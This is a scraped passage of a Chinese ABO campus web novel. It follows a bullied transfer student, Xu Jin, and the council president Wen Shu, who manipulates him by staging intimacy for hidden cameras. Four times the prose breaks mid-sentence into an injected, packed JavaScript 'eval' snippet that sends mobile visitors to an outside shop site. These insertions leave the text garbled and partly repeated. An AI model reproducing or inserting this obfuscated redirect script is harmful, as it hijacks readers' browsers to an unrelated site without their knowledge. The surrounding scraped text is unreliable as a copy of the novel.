评论相当一部分表达了对他的羡慕嫉妒恨,个别发言较为极端,还有一些人质疑视频的真伪。当然,纯吃瓜的乐子人占大多数,还使劲拱火。 他好奇刷了会,却更觉索然无味,有点犯困了。 正要退出,一个新帖突然出现在首页。 【主席大人的婚约对象要转来咱学校了,我应该不是最后一个知道的吧?】 凌晨一点半,短短两分钟,这个帖子一下多了十来条评论,且还在持续增加。 【我靠真假!从来没听说,LZ怎么知道的?吃惊张嘴狸花猫.jpg】 【好好好,这就是我熬夜的报应吗?】 【造谣nmsl滚】 【哈哈没逝的,做三精彩又刺激】 【……你们与其担心一个不知真假的婚约对象,不如管管隔壁那个新生呢(附链接)】 【我也是从隔壁过来的,既然都说到这了……难道没人觉得那个新生很怪吗?我记得林向文等级不低吧,既然打得过他,为什么当时在教学楼又任他欺负,等主席他们过来啊?是故意的吗?】 【啊?他知道主席会过来?】 【关系不一般自然就知道呗,平常检查哪见得到主席,还是两个。而且不是有人看到了吗,傍晚那个新生是主动去找主席的,然后带着一身主席的信息素回去】 【666看完了,评价为都不是省油的灯】 【呵呵,他就是绿茶啊,恶心死了】 …… 许烬忍不住点进帖子,刷了会儿都没看到什么有效信息,倒是发现这战火要烧自己身上了。而那个楼主发完贴就装死,估计嘴里也漏不出来两句真话。 他索性又关了手机躺下。 其实他能理解,大家为什么误会自己和温疏的关系。但他懒得解释,也并不在意这些言论。 甚至他喊出第一声“哥哥”有一半是故意的——虽然温家并未公开他的真实身份,但父亲也没有禁止让他说出去——他想亲近温疏,同时也是为自己寻求庇护。 虽然结果似乎偏离了他的初衷,但他并不后悔。 …… 第二天是满课。 尽管许烬已经事先从校园app得知课程表,努力去预习了,上课还是有些吃力。 毕竟这是帝国最顶尖的学院,教育资源是他从前的学校完全比不上的。甚至教学方式和课程内容都差别很大,有些东西他从没接触过,进度落后非常多,课后还需要花大量时间去学习钻研。 但这些都不是什么问题。 比较烦人的是,似乎不少人都刷到了论坛那条有关自己的帖子。 他早晨从宿舍出来,每到一个稍微人多的场所,总能感觉到周边若有若无向他投来的视线。 经过人群时,他们的交谈声也总是戛然而止,安静得诡异,连笑容都收敛,可等他离开后又如常继续。 还有冲他释放的,隐隐含有敌意的信息素。浓度不算高,够不上什么威胁或骚扰,但还是会令他身上刺痛发痒。 以及,现在,老师让学生就近分组讨论,整个班就他这附近没什么人开口,键盘敲击声很清晰密集,但群消息一条也没有。 大家似乎都很忙的样子,各个目不斜视。但许烬偶尔停下思考时,目光无意与别人撞上,对方却莫名迅速转开视线,不知是嫌弃还是尴尬。 ……实在针对得很明显。 许烬垂下眼,若无其事继续敲打键盘做笔记。 可惜祸不单行,老师布置了小组作业,就按照他们现在的分组,并严肃强调:“不建议单独完成,否则扣除相应的团队协作分数。” 一瞬间,同组人的目光都若有若无投在他身上,嘴角微勾,一副不怀好意又幸灾乐祸的模样。 许烬抿唇没出声,好不容易捱到放学铃响,他收拾书包准备离开,低下头时,后脑忽然被什么东西砸了一下。 是个废纸团。 他微微蹙眉,起身环视一圈,却见周围人都在做自己的事,神色自若,根本没看他这边,完全分不清这到底是谁扔的,只好收回目光。 但下一刻,又一个纸团从另一个方向砸过来,直接砸到他脸上受伤的地方,有点疼,紧接着有人莫名笑了一声。 许烬眉头蹙得更深,但也只是沉默地将废纸团捡起来,背上书包离开时,顺手扔进垃圾桶。 身后几个始作俑者顿时笑作一团,语气轻蔑,“笑死了,他就这啊?” …… 食堂一楼是自助区,明亮宽敞,装潢豪华,餐食种类也很丰富,但贵族子弟一般是不屑来的,人不多。 许烬没往上走,寻了个角落位置将书包放下,学着别人的模样,端着餐盘去挑选吃食。 他第一次来,看什么都觉新鲜,也确实饿,不知不觉拿了好多。等逛完一圈要回座位,身后猛然一股大力将他往前一推! 猝不及防间,许烬勉强端着餐盘站稳,可盘子里的食物还是撒了大半出去,汤汤水水流了一地,还溅到他身上,濡湿了衣襟。 他蹙眉回头,只见撞到自己的人还在和同伴嘻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“呵。”齐云朔冷笑,双手抱臂往后靠在椅背,脸上镜片折出冷光,遮不住眼下微青,“是它自己推送到我面前的,我又不瞎。” “嗯。你想删就删吧。”温疏反应平淡。 “你……”齐云朔张了张嘴,欲言又止,最后轻啧一声,“当然要删,上面每天就你的事最多,烦都烦死了。” “嗯,辛苦你了。” 温疏回得敷衍,一直嗯嗯嗯地让人接不下去,说着便又低头看手机,指尖按着屏幕快飞起来,不知在跟对面聊什么,竟还低笑了声。 被晾了整整五分钟以后,齐云朔面色发沉,周身不自觉散出点信息素,寒凉彻骨,把不远处本要靠近的侍者逼得退避三舍。 “怎么,”温疏察觉到他的信息素,抽空抬眸看他一眼,“你也易感期?” “不是……”齐云朔咬牙,话在嘴里含半天才艰难吐出去,声音微哑,“听他们说,你有婚约?” 5. 第 5 章 大概没料到齐云朔会问这个,温疏怔了一下,又笑着调侃,“论坛上的话你也信?” 听人这么回答,齐云朔不由轻舒口气。 但紧绷的身体还未及放松,下一刻他就见温疏点头道:“对,确实有。” “……是吗?”齐云朔眼睫微颤,勉力维持神色平静,“是omega?要转学到普莱克斯?” 温疏应了声“嗯”。 “什么时候?” “不知道。” “你和他——” “你很关心?”温疏将手机扣到桌面,发出轻响,面上仍笑着,眼中却无笑意。 “呵,随便问问罢了。” 见温疏面露不快,齐云朔自知失礼,也只好捺下好奇和一点点嫉妒委屈,掩饰性地捏起酒杯轻抿一口,又转头看窗外。 目光不经意掠过楼下,正见那名少年还捧着手机,桌上饭菜几乎没怎么动,显然是全副身心都被手机里的人勾走了。 齐云朔眼神又冷几分,没忍住还是开口嘲讽:“明知自己有婚约,还四处拈花惹草。” 说完之后,对面许久没应声,齐云朔不由转回视线。却发现温疏一直微笑盯着自己,顿时有些紧张,咬牙问:“你笑什么?难道我说错了?” “我想笑就笑,”温疏单手支着头看他,相比他的紧绷,姿态慵懒闲适得不行,“怎么,要经过你同意吗?” “呵,不敢。”齐云朔冷哼。 “那,”温疏低笑一声,双眼紧盯着齐云朔,像是蛊惑又像是压迫,嗓音微低,“你明知我有婚约,现在信息素还缠着我,又是为什么?” “砰!” 话音刚落,齐云朔霍然起身,撞得桌上酒杯倾倒。 他咬牙瞪着温疏,颊边银色镜链来回轻晃,好像把脸打得微红。没接话,转头就走,步伐紊乱急促。 …… 许烬最后还是拒绝了温疏。 他是想去的,但也不想给温疏添麻烦,总感觉对方很忙的样子。 而最关键的是,他没有旷课的资本。 本来就进度落后,虽然他有信心迎头赶上,但万一最后他成绩很烂,总感觉会在温疏面前抬不起头,会给人留下坏印象,甚至令对方失望——有点自作多情了,但他确实不想那样,便不能放过任何学习的机会。 但拒绝温疏又令他愧疚。所幸对方并未介意,还反过来安慰他,甚至下午在教学楼遇见,还微笑着同他打了个招呼。 一瞬间,周边投向他的视线更锐利,杂乱的信息素刺得身上发痒。但许烬浑不在意,礼貌而不失热情地回应了。 可笑的是,许烬这样纠结内耗,却完全不知道,其实温疏在问出那句话之前,特意看过他的课程表,知道他满课没空才问的。 温疏根本没想陪他。 之后几日,他们时常偶遇,虽然温疏对他的态度依旧温柔,但每次交流也只是平常的寒暄,没什么营养和进展。 许烬莫名有些焦虑,但也只当是温疏太忙,不敢过多叨扰,每天就是固定在教学楼、图书馆等几个地点之间往返。 直到有次他在图书馆自习室与温疏碰上,犹豫许久,终于壮着胆子上前,问了一个课业上困扰自己许久的问题。 当时周围还有不少在学习的同学,大家本来都低着头做自己的事,在他凑近温疏的那一刻纷纷看过来,脸色不太好。 许烬下意识以为是现在请教问题有些不妥,会打扰到别人。正想道歉离开,温疏已经拿过他的电脑开始读题,另手轻拍了拍自己身边的座位,示意他坐下。 他只好照做。 周遭安静,他也小心地尽量不发出太大声音,椅子便只拉出一点点,刚好够他坐下。 但离温疏很近,近得他能嗅到对方身上那股清新舒适的自然气息,浅淡幽微,却勾得人不由自主贪婪追寻。 为避免像之前一样失礼,许烬克制地平视前方,安静等着,身体都紧绷,就差屏住呼吸。 未想到,他们面前是一扇落地玻璃窗,明净的窗子清晰映出他们的身影。 只见温疏坐在他身边,正握着笔在纸上写画,神色专注,姿态端正优雅,手肘与他相距不过寸许。头颅微低,几缕碎发垂下,阳光倾洒得恰到好处,面部轮廓好像都柔和几分,整幅画面好看得不像话。 盯了好一会儿,许烬才反应过来这样的“偷窥”更加失礼,忙又收回目光。 紧接着他又想到,自己刚才问的问题是不是太简单太蠢了,温疏会不会觉得他很笨,要是嫌弃他该怎么办…… 胡思乱想间,他又忍不住看向温疏。 正巧,对方也向他转过头,把电脑和刚才写的纸张一并递过来,然后又继续忙自己的事。 许烬接过,只见白纸上寥寥几行黑字,飘逸俊秀,仿佛几行掠过晴空的鹤。 他的作业是一道交叉学科的材料分析题,问某一项地方政策是否可行合理,需详细分析,且若是认为不合理,还需给出相应的解决措施。 但这题目其实有些争议,因为这项地方政策真实存在且才实行没多久,所以这道题自然也没有标准答案,许烬便不知从何下手。 而遗憾的是,温疏的解法步骤太过简略,似乎用了一些他没学过的理论和公式,甚至有些专业用语他都不知道是什么,自己查资料研究半天,还是跟不上思路。 终于,他在巨大的崩溃和羞耻中,鼓起勇气伸手轻扯了扯温疏的衣袖,将纸张又递回去,另手点了下空白处,那里多了一行小字:“对不起,我看不懂……”末尾还加了个哭脸。 他忍不住偷觑温疏的表情,果然见到对方轻轻挑眉,大概是没想到这么简单的东西都有人不会,只觉脸上更热,都准备拿回来说自己再想想了。 但温疏没说什么,下一刻便将纸张挪过来,人也凑得更近,指尖轻点桌面示意他看过去,拿笔在空白处一步一步写解题过程。 甚至每一步写完,温疏都稍稍停顿看他一眼,确认他跟上才继续,涉及他没掌握的知识还顺带帮他补了课,连公式都带他推导一遍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712352|189286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许烬本来就有些不安,又因为距离过近,紧张得手指都发颤,看似眼睛一直盯着温疏的笔尖,偶尔还点点头,一副好好听讲的模样,实际脑子里完全糊成一团。 温疏轻易识破,却只是勾了勾唇角,不仅一直耐心地等他,还在边上写了更详细的思路过程。许烬实在没好意思走神,便强迫自己专注,也总算学进去。 最后,温疏给他“讲解”了一个多小时,各种理论、公式与示意图满满当当写了好几张草稿纸,相当细致。虽然全程没开过口,却十分透彻,令他受益匪浅。 等许烬自己消化完,再抬起头时才发现窗外天色已经有些黑沉,而自己竟一直坐在温疏身边,忘记回座位。 他扭过头,见温疏在看手机,便也跟着拿起手机,给人发了消息过去:“谢谢哥哥!哥哥真的讲得特别好!特别厉害!我都听懂了!”发完又嫌文字表达的感情不够到位,还配了个快乐小狗使劲摇尾巴的表情。 他真的觉得很开心。不仅是因为学到了什么获得的成就感,刚刚那种专注忘我的感觉令他觉得满足和舒服……还有温疏。 对方秒回一句“不客气”。 紧接着,边上伸过来一只手,随即他感觉自己的脑袋微微一沉,头发被人揉乱,力道控制在有些存在感,但又远不至于令人难受的界限内。 一瞬间,他只觉身体仿佛飘起来,陷在绵软的云里。心口跳动剧烈,像是擂鼓。 从没有人这样对他。 许烬不由失神,但还没来得及仔细感受,对方已收回手,只剩鼻尖一缕清新的香气残留。 他本能追着香气望过去,刺耳的放学铃却在此时响起,而温疏已经在收拾自己的东西,准备要走了。 心里陡然生出一股莫名而强烈的不舍,来不及多想,他已伸手轻攥住温疏的衣袖,叫了一声“哥哥”。 温疏侧头含笑看他,大概是没听清,还向他倾身过来,微侧着脸,耳朵贴近他嘴唇。 此时两人的距离比刚刚更近,鼻尖萦绕的那股清新香气一下变得馥郁,好像许烬往前凑近一些,能吻到对方藏在发中的耳垂。 但许烬被吓得连连后退,最后在温疏疑惑的眼神中,红着脸用手机给人发消息:“哥哥等会儿要一起吃饭吗?” “好。”温疏笑着又揉了一下他的头。 …… 一起吃过饭后,天色已完全暗下来。 分明今天相处的时间比之前任何时候都要多,许烬却觉得还不够。但他怕温疏还有别的事要忙,不敢开口挽留。 正欲依依不舍道别,温疏却率先开口问他:“要不要一起走走?” “真的吗!” 许烬双眼一亮,猛地抬头。若是他身后有尾巴,恐怕已情不自禁摇起来。 他忍不住想要立刻答应,又故作矜持,“我是说,哥哥晚上不忙吗?” “不忙。” 温疏笑着轻轻摇头,视线却越过许烬,落在他身后不远处的花丛。 那里刚刚闪过一道白光,好像是摄像头。 6. 第 6 章 许烬当然答应了。 林荫道上,两人并排行走,路灯将他们的影子拉得细长。 氛围似乎还不错,可周遭太过安静,只有夜风拂过树梢发出轻响,弄得许烬莫名又有些紧张,手心都湿润。 他光想着和温疏多待一会儿了,却没想过这种两人都不说话的尴尬时候应该怎么办,温疏会不会觉得无聊。他从没有和谁这样过。 接着又想到自己是不是表现得太积极了,明明自己对于温疏只是一个半途突然多出来的“弟弟”,其实跟他也不是很熟,甚至是个负担。自己却这样厚脸皮地一直缠着,会不会很唐突冒昧。 可是他真的喜欢温疏…… 说来也很神奇,刚被接到温家的时候,他很不适应,不习惯环境,也不习惯周围的人,总觉得都离他很远。 温疏却让他第一眼就想亲近。他觉得温疏这样的人做他的哥哥,特别好。 “那个……” 半晌,许烬绞尽脑汁终于找了个话题,“哥哥平常在学生会很忙吗?” “嗯,还行吧。”温疏侧头看他一眼,“你想进学生会吗?” “啊?我能吗?” “能是能,不过……”温疏停顿一下,声音里似乎藏着笑,“成绩必须达优。” “……我、我会努力的!”许烬有些脸热,羞耻得简直想找个地缝钻进去。 温疏低笑了声,忽然停住脚,不往前走了。 “哥哥怎么了?” 许烬跟着停下,疑惑回头,正见温疏向自己伸手。 他顿时有些紧张,僵着身体不敢动,感觉到自己的头发被轻轻拨动,一股奇异的、令人着迷的酥痒从尾椎骨攀升,身体好像要飘起来。 而后温疏从他头顶取了一片落叶下来,“没事,你头上有东西。” “……哦,好。”许烬立时从刚才那种状态抽离,尴尬地轻抓了下自己的头发,“谢谢哥哥。” “嗯。对了,我一直很想问你。”温疏说着忽然又向许烬伸出手。 “你、你说!” 刚才那种感觉很陌生,许烬本能想往后躲,又强装镇定地站住没动,直到温疏的手掌又轻落在他头顶,传来一点温热。 “你的头发很长,平常不会觉得挡视野吗?” 许烬轻轻摇头,“不会,能看清的。” “那会不会扎到眼睛?” 温疏问着话,手指还微微嵌入对方的发丝轻揉了两下,像是在抚摸一条大型犬,从上到下。 这小子头发挺多,蓬松柔软,手感还不赖。 “是有一点,不过也还好。” 许烬乖乖站着,任由温疏揉乱自己的头发。 他似乎有点喜欢被温疏摸头,舒服得好像身体又要飘起来,眼睛不自觉半眯着。没听清温疏又说了什么,只是下意识点头“嗯”一声。 下一刻,温疏的手指轻划过他的额头,将过长的刘海往上掀开。他猝不及防与温疏四目相对,才发现对方不知何时又向他倾身,离他不到半臂的距离。 刚刚温疏问的是,能不能掀一下许烬的头发。他从来没仔细看过许烬长什么样。 少年身材高高瘦瘦,肤色白得近乎病态,头发有些长,刘海甚至能遮住大半张脸,却又一直低着头。除了在他面前,似乎总是沉默寡言,整个人看上去有些阴郁,不起眼,但也不太好接近的样子。 他以为许烬性格偏软,设想的长相也是偏温和那挂,没想到,真实的脸与他的想象出入还挺大。 五官线条清晰,高鼻深目,眼型狭长,末端上挑。肤色被月光照得有些冷,瞳色很浅,不知是否是错觉,对视的瞬间,那双眼闪过一抹极刺目耀眼的金红,仿佛灼烧炽烈的火光。 温疏盯着许烬微微怔了一下,随即轻笑调侃:“原来长这么好看啊,结果这么小气,都不肯露出来。” “没、没有,就是很久没剪头发了……” 少年睁大眼,脸颊与耳廓肉眼可见地泛红,随即慌里慌张往后退了两步,伸手又把自己的刘海放下来,胡乱整理着,声音都有些抖。 温疏低笑一声,取出手机看了眼时间,“时间不早了,今天就到这里吧。走,我送你回宿舍。” “那你呢?”一听要走,许烬立刻顾不上害羞了,连忙追问,“哥哥还有别的事要忙吗?” “没有,我也要回宿舍。”温疏摇头,又笑,“舍不得我?” “……”少年紧抿着唇,耳廓愈发红。 温疏难得大发慈悲没再逗他,只揉了下对方的脑袋,“走吧。” …… 宿舍里,温疏洗完澡,让系统帮忙拿一下吹风机。 但喊了两三遍都没听见系统应声,他便在腰间围了条浴巾出来。 却发现那颗黑球背对他“坐”在桌上,形状有点扁,正巧他洗澡时放的背景音乐曲风有些压抑,竟让那颗黑球的背影也染上几分忧郁。 “你干嘛呢?” “怎么不说话?” “没电了?” 温疏只觉好笑,靠近后又叫了两声,但对方始终没应。他也不生气,自己拿了条毛巾坐到桌边擦头发,一边擦一边打开手机。 才发现齐云朔给他发了消息,但不知道具体是说了什么,齐云朔发了又自己撤回,徒留几行系统提示。 除此之外,还有好几条骚扰短信,来自同一个号码,但内容已被屏蔽。 他都没管,照常确认一下各方资讯和明日工作安排,而后点开了校园论坛。 论坛虽是匿名,看似能够畅所欲言,实际由学生会管理,还是有些限制。温疏偶尔会看一下,但通常不会发言和操作。 约许烬逛校园的那天,温疏发完消息便随手点开论坛,发现齐云朔嘴上才说着要删,实际动作特别快,根本没等问他,那条帖子最后一条发言是凌晨两点。 所以这块儿还是让副主席辛苦一下吧。 现在论坛首页好几条热门,大多与他有关。还有一条热门是讨论许烬的。 不出所料,今天有人藏在暗处偷拍了他和许烬接触的照片,并发到论坛上。 温疏点进帖子的时候,图片竟然还没加载出来,先看到底下好些评论。 【ai生成的不打标签?】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712353|189286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【别让我们主席拍这种】 【p点好的】 他顿时有些好奇,等了会儿,总算看到照片。出乎意料的是,这些照片都是真实的,但拍摄视角十分刻意。 其中有一张是在图书馆自习室里,放学的时候。他听不清许烬说什么,便将耳朵附过去,没挨到人。照片里却像是许烬亲吻了他的脸颊。 还有几张是刚才散步的时候,连续抓拍,从温疏按着许烬的后脑开始,到撩起对方的刘海,直到最后少年捂着额头害羞退开。明明不是那样,拍出来像是温疏亲吻了许烬的额头。中间虽然少了关键步骤,但人们总是会脑补的。 其他的虽保持了一定的社交距离,但在外人眼里已算得上亲密。 而下面的发言一开始是质疑居多,直到有人分析出这些照片都没有修图痕迹,就是鬼哭狼嚎一片了,充满戾气的极端发言也很多。甚至有人准备线下。 【真是好手段啊,刚来半个月不到就跟咱主席谈上了】 【长得也就那样吧,怪不得要遮住哈,贫民窟来的臭老鼠什么时候也能登上台面了】 【呵呵,他平常几乎不说话,真的看着特别阴暗的一个人,原来人前一套背后一套】 【好碍眼啊*^_^*想把他的脸划烂怎么办】 【一年级下周有实践课吗,我去碰一下】 …… 温疏饶有兴致地翻看,要翻到最新一页的时候,突然弹出系统提示“此贴已被删除”,只好悻悻放下手机。 边上的黑球见缝插针叫他:“温疏!” “嗯?不是不理我吗?”温疏瞥它一眼,唇角微勾。 “你……”系统停顿一会儿,“你不是,不喜欢他吗?” “那我不是按你要求的做吗?怎么,又不符合人设了?” “没有——” “那你还有什么不满意?”温疏微笑打断。 “……”系统没应声,转过去,球体形状又扁了些,看上去竟有几分可怜委屈。 确实,温疏做得很好。可问题就是,做得太好了。它不高兴。 但不知道为什么不高兴。 温疏没再理它,起身收拾屋里,若无其事的样子。 他根本没所谓。 他钻漏洞也不是一两回了,系统再不满也没事,从前还会威胁说他会被世界意志抹杀,但实际什么惩罚都没有,他也就不怎么放在心上了。 所以他其实是可以随心所欲的,但宠一下系统也无所谓。 他还蛮喜欢装的。球也很好玩。 这次更是如此。 在图书馆自习室里,他从玻璃窗上看到,有人拿起手机并将镜头对准自己的时候,他就开始刻意地做出一些亲密举动了。 他对许烬越好,越是有人想把许烬撕了。而两相对比,许烬只会更依赖他。 到那时,谁是谁的舔狗可就不一定了。 正想着,房门忽被轻轻叩响,可视门铃电子屏映出齐云朔的身影,眉头紧锁着,脸色不太好,身上还穿着睡衣。 这么晚了还不睡,来找他做什么? 7. 第 7 章 温疏很快去开了门。 但他忘记自己只在腰上围了条浴巾,什么都没穿。又或许只是不在意。 齐云朔一见他,表情空白一瞬,双眼微微睁大,接着左右看看,竟是飞快推了门进来。 咔哒一声,房门关上,自动落锁。 温疏怔了一下,抱胸倚着鞋柜,“来做什么?” 说完,一滴水刚好沿脖颈滴落,淌过锁骨,又顺着饱满胸肌营出的沟壑往下。 齐云朔的目光不自觉追着那滴水,在人胸口停了两秒,又克制移开,“……你为什么不穿衣服。” 说着,他忍不住看了眼鞋柜,没发现什么可疑的东西,屋子里也只有温疏的气息,又轻舒口气。 “刚洗完澡。”温疏又问一遍,“来做什么?” “你以为我想?”齐云朔蹙眉,“给你发消息打电话都没回。” “没听到。” “……”齐云朔伸手捏了下眉心,“你先去看一下论坛。” “嗯?又怎么了?” 温疏挑眉,反身去拿手机。 他刚才看过,就那些东西,不至于让齐云朔穿着睡衣,在半夜快十二点的时候还来找他吧。 没想到,校园app打开,都还没进论坛呢,只见所有的文字都被替换成一句话,首页的排版都变得乱七八糟,而且连带一些功能都用不了。 【许烬滚出普莱克斯】 而论坛更是如此,每条帖子都是这个标题,但点进去是乱码。 齐云朔跟着他到卧室,声音微沉,“刚才只有论坛。” 温疏划拉着手机屏幕,“嗯,是有点过分了。” 听他语气平淡,齐云朔眉头蹙得更深,“你不管?” “你能搞定,我管什么?”看了一会儿,温疏又将手机放回桌上,一副无所谓的模样。 “……”齐云朔皱眉盯着温疏,嘴唇紧抿。 他确实能摆平,来找温疏也只是想—— “算了,”他轻叹口气,“你自己看吧。我走了。” 温疏浅淡应声“嗯”,跟在他身后。 听见声音,齐云朔不由脚步一顿,但紧接着又听见温疏的足音远去,拐去另一个方向。 ……原来不是要送他。虽然只有几步路。 齐云朔自嘲地轻扯了下唇角,垂在身侧的手缓慢攥紧成拳。 上一次他来温疏的宿舍,他说要走的时候,温疏没挽留,更没送他。他忍不住去而复返,却看见别的人进去了,好久没出来。 心口忽然刺痛,像是被荆棘扎到,甚至荆棘飞速往下生长着,缠住了他的腿,令他迈不出去。 似是见他还不走,温疏又出声问:“还有事?” “……没。” 齐云朔咬牙,艰难吐了个字,几乎是落荒而逃。 他回到自己宿舍,平复一下心情,随即打开电脑,任劳任怨尽职尽责地开始修复校园app。 修完一半,他瞥了眼后台,竟发现温疏也在,并且将他还没来得及处理的另一半都弄好了。 他自己一个人预计要花半个多小时,结果现在十来分钟就完成了。 紧接着,温疏给他发了消息:“早点睡。” 齐云朔指尖微颤,冷淡地敲了个“嗯”,嘴角却微微上扬。 …… 第二天,校园app恢复正常,所有讨论许烬的帖子都被删除,好像什么都没发生过。 但围绕许烬的恶意并未减少半分,甚至他被针对得愈发明显和激烈。 当初砸在他头上的废纸团,也只是一个试探与开端。 那帮人大概不敢真弄出什么事,恶心人的小手段却是一套又一套。 譬如许烬经过时,他们会“故意不小心”打翻餐盘、水杯或是甩出笔墨,弄脏他仅有的几件像样的衣物、认真写了很多笔记的课本和辛苦完成的作业。 譬如许烬明明预约了训练场的位置,却总是莫名其妙被人抢占或取消。想报名的一些活动,轮到他就是名额不够或没有资格。图书馆里想要借阅的书籍永远轮不到,他在的自习室总是很吵,做实验时领到的材料不是缺斤少两就是以次充好。 譬如平常小组作业讨论不带他,上课汇报进度被老师批评时,却要推他出去。在一些实战训练课程,比如击剑、礼仪舞蹈,总是借口“收不住力道”令他受伤,事后彬彬有礼地道歉,却说“其实我也没用力啊,没想到你这么脆弱”,“怎么这么简单的你都不会,哦不好意思,忘了你以前在下城区,没学过”。 而信息素的骚扰和压迫更是时时刻刻。 其实这些都无法伤害到许烬本身,单看起来也只是一些无关紧要的“疏忽”、“意外”与“玩笑”。 可这些是从他入学第一天就开始的,没停过,累积起来几乎可以毁掉他辛苦维持的体面和自尊,是难以言喻的羞辱。 但每次在温疏问他近来如何时,许烬一个字都没说,也尽力装出没事人的样子,只是越发期待和温疏见面,越发依赖温疏。 自问温疏题目的那天以后,他才觉得有在慢慢和对方变得亲近,后来日常交流的话题也从学习向其他过渡扩展,也会约着一起吃饭之类。 不过其实在他自觉还不够的时候,已经让很多人嫉妒。 在不知道是第几次被警告威胁不要靠近温疏时,许烬面无表情地听着,一个字都懒得说。 大概是被他的漠然刺激,对方怒不可遏,却莫名没有当场发作,撂下一句狠话便走了,许烬又若无其事去上课。 这节是户外实践课,骑射。 广阔的草场上,贵族们都换上了轻便又利落的骑装,还没开始上课就牵了自己的爱马出来到处溜。一匹顶一匹名贵,养得油光水滑,各个生得高大威猛、矜贵优雅。甚至有的人已经赛上马了,草场一时尘土飞扬,人声鼎沸。 许烬没有自己的马,只能等老师来了再去租借一匹,暂时等在边上。 过了会儿,有人打马过来停在他面前,“喂,你要骑马吗?” 许烬闻声抬头,只见是一个男生骑着匹黑马过来。日头正盛,逆着光,看不清长相和表情,身上也没有信息素气味,似乎没有敌意。 但许烬受过太多欺负,对方来意不明,便谨慎地没有搭理。 果然,对方下一句就说:“你是不是没马啊?” 话音刚落,周围人立时笑作一团,声音肆无忌惮。 许烬面色陡沉,转身往别处走。 “诶你别走啊,我不是那意思,别生气呀。我是说,我的马可以借你骑。” 对方驾着马不依不饶追上来,堵住许烬的去路,说着还翻身下马。 此时面光,终于能看清对方的长相,望过来的眼神在光下也显得十分真诚,好像刚才真的只是个误会。 但许烬依旧冷着脸没搭理,换了个方向闷头往前走。 走了一段,身后的男生忽然大叫起来:“喂!快让开— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712354|189286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —” 他下意识回头,却见那匹马不知为什么竟失控了,正飞速向他冲过来! 许烬瞳孔骤缩,本能后退躲闪,但很快意识到马的速度远超过他,又咬牙强逼自己冷静。 不能跑!更不能把后背留给马! 眨眼间,失控的马匹奔到面前,马蹄扬起的尘土几乎要扑到他脸上。千钧一发之际,他没再退,而是张开双臂猛地往侧前方一踏,高声叱喝:“吁——” 马匹被这突然的“障碍”和呵斥惊扰,冲锋意志动摇,本能地偏向一侧,企图绕过他。 而就是这一瞬的迟疑,许烬抓住机会,眼疾手快一把攥住垂荡的缰绳! 但下一刻,巨大的冲力几乎将他拽倒,马匹奔腾带起的烈风擦着他的面颊呼啸而过,手心传来被缰绳摩擦的剧烈灼痛。 许烬咬紧牙,拼尽全身力量往后坠,死死蹬着地面,双臂发力拽着缰绳往后猛扯,怒声呵斥,“停下!——” 马嚼子勒紧了马嘴,疼痛与阻力令马匹失去平衡,嘶鸣一声,前蹄高高扬起,冲势停顿一刻。 许烬被带得趔趄,仍死死拽着缰绳继续施压,逼迫马匹来回打转,最后嘶鸣着又高高扬起前蹄,总算停下来,在原地焦躁踏步,鼻息粗重。 但许烬没敢放手,剧烈喘息着,紧盯着马匹的眼睛,浑身紧绷戒备。 所幸马匹终于平静下来,而周围也陷入一片死寂。直到许烬猛地栽到地上,压抑的惊呼和议论才炸开锅: “我靠!他把马勒停了?这怎么可能……” “诶他怎么倒了啊!坏了,不会出事了吧?” “那谁让他自己不跑啊,非得去勒——” “哥,不是什么人都能跑赢马。” “随、随便一个a级alpha都能做到吧!是他自己太弱了!” “算了,不跟你争。唉,这下好了,闹这么大,主席肯定要生气了。” “不会吧,主席从来没管过这些……” “这次不一定了吧。” “啊!那怎么办?” “怎么办?你干的,你解决!” “胡说!我只是放出一点信息素而已!那可是你的马!你去!” 几个始作俑者相互推搡着上前,很不情愿。 却见本来倒下的少年又迅速半跪起身,目光扫过来,眼神冰冷,周身气息充满压迫感。瞳眸变成金红,似有火焰燃烧,竟叫人不敢直视。 一时间,几人又僵在原地。 许烬感觉到附近有人围上来,又强撑着起身,紧接着便嗅到一股奇异的、有些刺激性的信息素香味——他刚刚在马匹身上闻到过。 他循着气味转头,正与之前问他的那个男生对视上。 对方惊慌失措地别开眼,伸手将同伴往前推了一把,而后头也不回地跑了。 “推我干——诶你小子怎么跑了!等我一下!” “我靠!你们不管那我也不管了!” 